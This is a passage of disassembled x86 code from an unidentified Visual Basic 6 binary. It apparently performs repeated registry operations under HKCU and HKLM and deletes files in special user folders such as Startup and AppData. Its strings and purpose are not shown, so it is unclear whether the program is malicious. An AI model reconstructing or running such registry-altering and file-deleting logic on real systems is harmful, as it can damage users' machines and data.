mov dword [ebp - 4], 0x28
cmp dword [0x573db0], 0
jne 0x554d24
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x1ec], 0x573db0
jmp 0x554d2e
mov dword [ebp - 0x1ec], 0x573db0
mov eax, dword [ebp - 0x1ec]
mov ecx, dword [eax]
mov dword [ebp - 0xb8], ecx
push 0x419028
push 0x80000001
mov edx, dword [ebp - 0xb8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xb8]
push ecx
call dword [eax + 0x20]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x554d8c
push 0x20
push 0x41f62c
mov edx, dword [ebp - 0xb8]
push edx
mov eax, dword [ebp - 0xbc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x1f0], eax
jmp 0x554d96
mov dword [ebp - 0x1f0], 0
mov dword [ebp - 4], 0x29
cmp dword [0x573db0], 0
jne 0x554dc2
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x1f4], 0x573db0
jmp 0x554dcc
mov dword [ebp - 0x1f4], 0x573db0
mov ecx, dword [ebp - 0x1f4]
mov edx, dword [ecx]
mov dword [ebp - 0xb8], edx
push 0x420798
push 0x80000002
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xb8]
push edx
call dword [ecx + 0x20]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x554e2a
push 0x20
push 0x41f62c
mov eax, dword [ebp - 0xb8]
push eax
mov ecx, dword [ebp - 0xbc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x1f8], eax
jmp 0x554e34
mov dword [ebp - 0x1f8], 0
mov dword [ebp - 4], 0x2a
cmp dword [0x573db0], 0
jne 0x554e60
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x1fc], 0x573db0
jmp 0x554e6a
mov dword [ebp - 0x1fc], 0x573db0
mov edx, dword [ebp - 0x1fc]
mov eax, dword [edx]
mov dword [ebp - 0xb8], eax
push 1
push 0x42089c
push 0x420818
push 0x80000001
mov ecx, dword [ebp - 0xb8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xb8]
push eax
call dword [edx + 0x34]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x554ecf
push 0x34
push 0x41f62c
mov ecx, dword [ebp - 0xb8]
push ecx
mov edx, dword [ebp - 0xbc]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x200], eax
jmp 0x554ed9
mov dword [ebp - 0x200], 0
mov dword [ebp - 4], 0x2b
cmp dword [0x573db0], 0
jne 0x554f05
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x204], 0x573db0
jmp 0x554f0f
mov dword [ebp - 0x204], 0x573db0
mov eax, dword [ebp - 0x204]
mov ecx, dword [eax]
mov dword [ebp - 0xb8], ecx
mov edx, 0x4208c0
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41f748
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41f6d8
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 0xb4], 0x80000002
lea edx, [ebp - 0x3c]
push edx
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x34]
push ecx
lea edx, [ebp - 0xb4]
push edx
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xb8]
push edx
call dword [ecx + 0x2c]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x554faa
push 0x2c
push 0x41f62c
mov eax, dword [ebp - 0xb8]
push eax
mov ecx, dword [ebp - 0xbc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x208], eax
jmp 0x554fb4
mov dword [ebp - 0x208], 0
lea edx, [ebp - 0x3c]
push edx
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x34]
push ecx
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
mov dword [ebp - 4], 0x2c
cmp dword [0x573db0], 0
jne 0x554ff7
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x20c], 0x573db0
jmp 0x555001
mov dword [ebp - 0x20c], 0x573db0
mov edx, dword [ebp - 0x20c]
mov eax, dword [edx]
mov dword [ebp - 0xb8], eax
call fcn.0053db90
mov edx, eax
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
push eax
push 0x4208f8
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov edx, eax
lea ecx, [ebp - 0x40]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
mov edx, 0x4208e0
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41f6d8
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 0xb4], 0x80000002
lea ecx, [ebp - 0x40]
push ecx
lea edx, [ebp - 0x3c]
push edx
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0xb4]
push ecx
mov edx, dword [ebp - 0xb8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xb8]
push ecx
call dword [eax + 0x2c]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x5550b5
push 0x2c
push 0x41f62c
mov edx, dword [ebp - 0xb8]
push edx
mov eax, dword [ebp - 0xbc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x210], eax
jmp 0x5550bf
mov dword [ebp - 0x210], 0
lea ecx, [ebp - 0x40]
push ecx
lea edx, [ebp - 0x3c]
push edx
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x34]
push ecx
push 4
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x14
mov dword [ebp - 4], 0x2d
cmp dword [0x573db0], 0
jne 0x555106
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x214], 0x573db0
jmp 0x555110
mov dword [ebp - 0x214], 0x573db0
mov edx, dword [ebp - 0x214]
mov eax, dword [edx]
mov dword [ebp - 0xb8], eax
push 0x420918
push 0x4203ec
push 0x80000001
mov ecx, dword [ebp - 0xb8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xb8]
push eax
call dword [edx + 0x24]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x555173
push 0x24
push 0x41f62c
mov ecx, dword [ebp - 0xb8]
push ecx
mov edx, dword [ebp - 0xbc]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x218], eax
jmp 0x55517d
mov dword [ebp - 0x218], 0
mov dword [ebp - 4], 0x2e
cmp dword [0x573db0], 0
jne 0x5551a9
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x21c], 0x573db0
jmp 0x5551b3
mov dword [ebp - 0x21c], 0x573db0
mov eax, dword [ebp - 0x21c]
mov ecx, dword [eax]
mov dword [ebp - 0xb8], ecx
push 0x42092c
push 0x4203ec
push 0x80000001
mov edx, dword [ebp - 0xb8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xb8]
push ecx
call dword [eax + 0x24]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x555216
push 0x24
push 0x41f62c
mov edx, dword [ebp - 0xb8]
push edx
mov eax, dword [ebp - 0xbc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x220], eax
jmp 0x555220
mov dword [ebp - 0x220], 0
mov dword [ebp - 4], 0x2f
cmp dword [0x573db0], 0
jne 0x55524c
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x224], 0x573db0
jmp 0x555256
mov dword [ebp - 0x224], 0x573db0
mov ecx, dword [ebp - 0x224]
mov edx, dword [ecx]
mov dword [ebp - 0xb8], edx
push 0x420940
mov eax, dword [0x573548]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov edx, eax
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
push eax
push 0x4203ec
push 0x80000001
mov ecx, dword [ebp - 0xb8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xb8]
push eax
call dword [edx + 0x24]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x5552d1
push 0x24
push 0x41f62c
mov ecx, dword [ebp - 0xb8]
push ecx
mov edx, dword [ebp - 0xbc]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x228], eax
jmp 0x5552db
mov dword [ebp - 0x228], 0
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
mov dword [ebp - 4], 0x30
cmp dword [0x573db0], 0
jne 0x555310
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x22c], 0x573db0
jmp 0x55531a
mov dword [ebp - 0x22c], 0x573db0
mov eax, dword [ebp - 0x22c]
mov ecx, dword [eax]
mov dword [ebp - 0xb8], ecx
push 0x420954
mov edx, dword [0x573548]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov edx, eax
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
push eax
push 0x4203ec
push 0x80000002
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xb8]
push edx
call dword [ecx + 0x24]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x555396
push 0x24
push 0x41f62c
mov eax, dword [ebp - 0xb8]
push eax
mov ecx, dword [ebp - 0xbc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x230], eax
jmp 0x5553a0
mov dword [ebp - 0x230], 0
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
mov dword [ebp - 4], 0x31
cmp dword [0x573db0], 0
jne 0x5553d5
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x234], 0x573db0
jmp 0x5553df
mov dword [ebp - 0x234], 0x573db0
mov edx, dword [ebp - 0x234]
mov eax, dword [edx]
mov dword [ebp - 0xb8], eax
push 0x41f0b4
push 0x4203ec
push 0x80000002
mov ecx, dword [ebp - 0xb8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xb8]
push eax
call dword [edx + 0x24]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x555442
push 0x24
push 0x41f62c
mov ecx, dword [ebp - 0xb8]
push ecx
mov edx, dword [ebp - 0xbc]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x238], eax
jmp 0x55544c
mov dword [ebp - 0x238], 0
mov dword [ebp - 4], 0x32
cmp dword [0x573db0], 0
jne 0x555478
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x23c], 0x573db0
jmp 0x555482
mov dword [ebp - 0x23c], 0x573db0
mov eax, dword [ebp - 0x23c]
mov ecx, dword [eax]
mov dword [ebp - 0xb8], ecx
push 0x41fa68
push 0x4203ec
push 0x80000002
mov edx, dword [ebp - 0xb8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xb8]
push ecx
call dword [eax + 0x24]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x5554e5
push 0x24
push 0x41f62c
mov edx, dword [ebp - 0xb8]
push edx
mov eax, dword [ebp - 0xbc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x240], eax
jmp 0x5554ef
mov dword [ebp - 0x240], 0
mov dword [ebp - 4], 0x33
cmp dword [0x573db0], 0
jne 0x55551b
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x244], 0x573db0
jmp 0x555525
mov dword [ebp - 0x244], 0x573db0
mov ecx, dword [ebp - 0x244]
mov edx, dword [ecx]
mov dword [ebp - 0xb8], edx
push 0x41ef18
push 0x4203ec
push 0x80000002
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xb8]
push edx
call dword [ecx + 0x24]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x555588
push 0x24
push 0x41f62c
mov eax, dword [ebp - 0xb8]
push eax
mov ecx, dword [ebp - 0xbc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x248], eax
jmp 0x555592
mov dword [ebp - 0x248], 0
mov dword [ebp - 4], 0x34
cmp dword [0x573db0], 0
jne 0x5555be
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x24c], 0x573db0
jmp 0x5555c8
mov dword [ebp - 0x24c], 0x573db0
mov edx, dword [ebp - 0x24c]
mov eax, dword [edx]
mov dword [ebp - 0xb8], eax
push 0x41eaa8
push 0x4203ec
push 0x80000001
mov ecx, dword [ebp - 0xb8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xb8]
push eax
call dword [edx + 0x24]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x55562b
push 0x24
push 0x41f62c
mov ecx, dword [ebp - 0xb8]
push ecx
mov edx, dword [ebp - 0xbc]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x250], eax
jmp 0x555635
mov dword [ebp - 0x250], 0
mov dword [ebp - 4], 0x35
cmp dword [0x573db0], 0
jne 0x555661
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x254], 0x573db0
jmp 0x55566b
mov dword [ebp - 0x254], 0x573db0
mov eax, dword [ebp - 0x254]
mov ecx, dword [eax]
mov dword [ebp - 0xb8], ecx
push 0x420990
push 0x420964
push 0x80000002
mov edx, dword [ebp - 0xb8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xb8]
push ecx
call dword [eax + 0x24]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x5556ce
push 0x24
push 0x41f62c
mov edx, dword [ebp - 0xb8]
push edx
mov eax, dword [ebp - 0xbc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x258], eax
jmp 0x5556d8
mov dword [ebp - 0x258], 0
mov dword [ebp - 4], 0x36
cmp dword [0x573db0], 0
jne 0x555704
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x25c], 0x573db0
jmp 0x55570e
mov dword [ebp - 0x25c], 0x573db0
mov ecx, dword [ebp - 0x25c]
mov edx, dword [ecx]
mov dword [ebp - 0xb8], edx
push 0x4209a4
push 0x420964
push 0x80000002
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xb8]
push edx
call dword [ecx + 0x24]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x555771
push 0x24
push 0x41f62c
mov eax, dword [ebp - 0xb8]
push eax
mov ecx, dword [ebp - 0xbc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x260], eax
jmp 0x55577b
mov dword [ebp - 0x260], 0
mov dword [ebp - 4], 0x37
cmp dword [0x573db0], 0
jne 0x5557a7
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x264], 0x573db0
jmp 0x5557b1
mov dword [ebp - 0x264], 0x573db0
mov edx, dword [ebp - 0x264]
mov eax, dword [edx]
mov dword [ebp - 0xb8], eax
push 0x420990
push 0x4209bc
push 0x80000001
mov ecx, dword [ebp - 0xb8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xb8]
push eax
call dword [edx + 0x24]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x555814
push 0x24
push 0x41f62c
mov ecx, dword [ebp - 0xb8]
push ecx
mov edx, dword [ebp - 0xbc]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x268], eax
jmp 0x55581e
mov dword [ebp - 0x268], 0
mov dword [ebp - 4], 0x38
cmp dword [0x573db0], 0
jne 0x55584a
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x26c], 0x573db0
jmp 0x555854
mov dword [ebp - 0x26c], 0x573db0
mov eax, dword [ebp - 0x26c]
mov ecx, dword [eax]
mov dword [ebp - 0xb8], ecx
push 0x420a30
push 0x4209bc
push 0x80000001
mov edx, dword [ebp - 0xb8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xb8]
push ecx
call dword [eax + 0x24]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x5558b7
push 0x24
push 0x41f62c
mov edx, dword [ebp - 0xb8]
push edx
mov eax, dword [ebp - 0xbc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x270], eax
jmp 0x5558c1
mov dword [ebp - 0x270], 0
mov dword [ebp - 4], 0x39
mov dword [ebp - 0xb4], 0x27
lea ecx, [ebp - 0xb4]
push ecx
call fcn.00541fd0
mov edx, eax
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
push eax
push 0x420a44
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x50], 8
lea edx, [ebp - 0x50]
push edx
call dword [sym.imp.MSVBVM60.DLL_rtcKillFiles]
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
lea ecx, [ebp - 0x50]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVar]
mov dword [ebp - 4], 0x3a
mov dword [ebp - 0xb4], 0x1c
lea eax, [ebp - 0xb4]
push eax
call fcn.00541fd0
mov edx, eax
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
push eax
push 0x420a64
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x50], 8
lea ecx, [ebp - 0x50]
push ecx
call dword [sym.imp.MSVBVM60.DLL_rtcKillFiles]
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
lea ecx, [ebp - 0x50]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVar]
mov dword [ebp - 4], 0x3b
mov dword [ebp - 0xb4], 7
lea edx, [ebp - 0xb4]
push edx
call fcn.00541fd0
mov edx, eax
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
push eax
push 0x420a84
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x50], 8
lea eax, [ebp - 0x50]
push eax
call dword [sym.imp.MSVBVM60.DLL_rtcKillFiles]
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
lea ecx, [ebp - 0x50]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVar]
mov dword [ebp - 4], 0x3c
mov dword [ebp - 0xb4], 0x1a
lea ecx, [ebp - 0xb4]
push ecx
call fcn.00541fd0
mov edx, eax
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
push eax
push 0x420aa0
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x50], 8
lea edx, [ebp - 0x50]
push edx
call dword [sym.imp.MSVBVM60.DLL_rtcKillFiles]
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
lea ecx, [ebp - 0x50]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVar]
mov dword [ebp - 4], 0x3d
cmp dword [0x573db0], 0
jne 0x555a55
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x274], 0x573db0
jmp 0x555a5f
mov dword [ebp - 0x274], 0x573db0
mov eax, dword [ebp - 0x274]
mov ecx, dword [eax]
mov dword [ebp - 0xb8], ecx
push 0x420abc
push 0x42001c
push 0x80000002
mov edx, dword [ebp - 0xb8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xb8]
push ecx
call dword [eax + 0x24]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x555ac2
push 0x24
push 0x41f62c
mov edx, dword [ebp - 0xb8]
push edx
mov eax, dword [ebp - 0xbc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x278], eax
jmp 0x555acc
mov dword [ebp - 0x278], 0
mov dword [ebp - 4], 0x3e
cmp dword [0x573db0], 0
jne 0x555af8
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x27c], 0x573db0
jmp 0x555b02
mov dword [ebp - 0x27c], 0x573db0
mov ecx, dword [ebp - 0x27c]
mov edx, dword [ecx]
mov dword [ebp - 0xb8], edx
push 0x420ad4
push 0x42001c
push 0x80000002
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xb8]
push edx
call dword [ecx + 0x24]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x555b65
push 0x24
push 0x41f62c
mov eax, dword [ebp - 0xb8]
push eax
mov ecx, dword [ebp - 0xbc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x280], eax
jmp 0x555b6f
mov dword [ebp - 0x280], 0
mov dword [ebp - 4], 0x3f
cmp dword [0x573db0], 0
jne 0x555b9b
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x284], 0x573db0
jmp 0x555ba5
mov dword [ebp - 0x284], 0x573db0
mov edx, dword [ebp - 0x284]
mov eax, dword [edx]
mov dword [ebp - 0xb8], eax
push 0x420aec
push 0x42001c
push 0x80000002
mov ecx, dword [ebp - 0xb8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xb8]
push eax
call dword [edx + 0x24]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x555c08
push 0x24
push 0x41f62c
mov ecx, dword [ebp - 0xb8]
push ecx
mov edx, dword [ebp - 0xbc]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x288], eax
jmp 0x555c12
mov dword [ebp - 0x288], 0
mov dword [ebp - 4], 0x40
cmp dword [0x573db0], 0
jne 0x555c3e
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x28c], 0x573db0
jmp 0x555c48
mov dword [ebp - 0x28c], 0x573db0
mov eax, dword [ebp - 0x28c]
mov ecx, dword [eax]
mov dword [ebp - 0xb8], ecx
push 0x420b04
push 0x42001c
push 0x80000002
mov edx, dword [ebp - 0xb8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xb8]
push ecx
call dword [eax + 0x24]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x555cab
push 0x24
push 0x41f62c
mov edx, dword [ebp - 0xb8]
push edx
mov eax, dword [ebp - 0xbc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x290], eax
jmp 0x555cb5
mov dword [ebp - 0x290], 0
mov dword [ebp - 4], 0x41
cmp dword [0x573db0], 0
jne 0x555ce1
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x294], 0x573db0
jmp 0x555ceb
mov dword [ebp - 0x294], 0x573db0
mov ecx, dword [ebp - 0x294]
mov edx, dword [ecx]
mov dword [ebp - 0xb8], edx
push 0x420b28
push 0x42001c
push 0x80000002
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xb8]
push edx
call dword [ecx + 0x24]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x555d4e
push 0x24
push 0x41f62c
mov eax, dword [ebp - 0xb8]
push eax
mov ecx, dword [ebp - 0xbc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x298], eax
jmp 0x555d58
mov dword [ebp - 0x298], 0
mov dword [ebp - 4], 0x42
cmp dword [0x573db0], 0
jne 0x555d84
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x29c], 0x573db0
jmp 0x555d8e
mov dword [ebp - 0x29c], 0x573db0
mov edx, dword [ebp - 0x29c]
mov eax, dword [edx]
mov dword [ebp - 0xb8], eax
push 0x420b98
push 0x420b40
push 0x80000001
mov ecx, dword [ebp - 0xb8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xb8]
push eax
call dword [edx + 0x24]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x555df1
push 0x24
push 0x41f62c
mov ecx, dword [ebp - 0xb8]
push ecx
mov edx, dword [ebp - 0xbc]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x2a0], eax
jmp 0x555dfb
mov dword [ebp - 0x2a0], 0
mov dword [ebp - 4], 0x43
cmp dword [0x573db0], 0
jne 0x555e27
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x2a4], 0x573db0
jmp 0x555e31
mov dword [ebp - 0x2a4], 0x573db0
mov eax, dword [ebp - 0x2a4]
mov ecx, dword [eax]
mov dword [ebp - 0xb8], ecx
push 0x420c34
push 0x420bb8
push 0x80000002
mov edx, dword [ebp - 0xb8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xb8]
push ecx
call dword [eax + 0x24]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x555e94
push 0x24
push 0x41f62c
mov edx, dword [ebp - 0xb8]
push edx
mov eax, dword [ebp - 0xbc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x2a8], eax
jmp 0x555e9e
mov dword [ebp - 0x2a8], 0
mov dword [ebp - 4], 0x44
cmp dword [0x573db0], 0
jne 0x555eca
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x2ac], 0x573db0
jmp 0x555ed4
mov dword [ebp - 0x2ac], 0x573db0
mov ecx, dword [ebp - 0x2ac]
mov edx, dword [ecx]
mov dword [ebp - 0xb8], edx
push 0x42051c
push 0x80000002
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xb8]
push edx
call dword [ecx + 0x20]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x555f32
push 0x20
push 0x41f62c
mov eax, dword [ebp - 0xb8]
push eax
mov ecx, dword [ebp - 0xbc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x2b0], eax
jmp 0x555f3c
mov dword [ebp - 0x2b0], 0
mov dword [ebp - 4], 0x45
cmp dword [0x573db0], 0
jne 0x555f68
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x2b4], 0x573db0
jmp 0x555f72
mov dword [ebp - 0x2b4], 0x573db0
mov edx, dword [ebp - 0x2b4]
mov eax, dword [edx]
mov dword [ebp - 0xb8], eax
push 0x420c4c
push 0x80000002
mov ecx, dword [ebp - 0xb8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xb8]
push eax
call dword [edx + 0x20]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x555fd0
push 0x20
push 0x41f62c
mov ecx, dword [ebp - 0xb8]
push ecx
mov edx, dword [ebp - 0xbc]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x2b8], eax
jmp 0x555fda
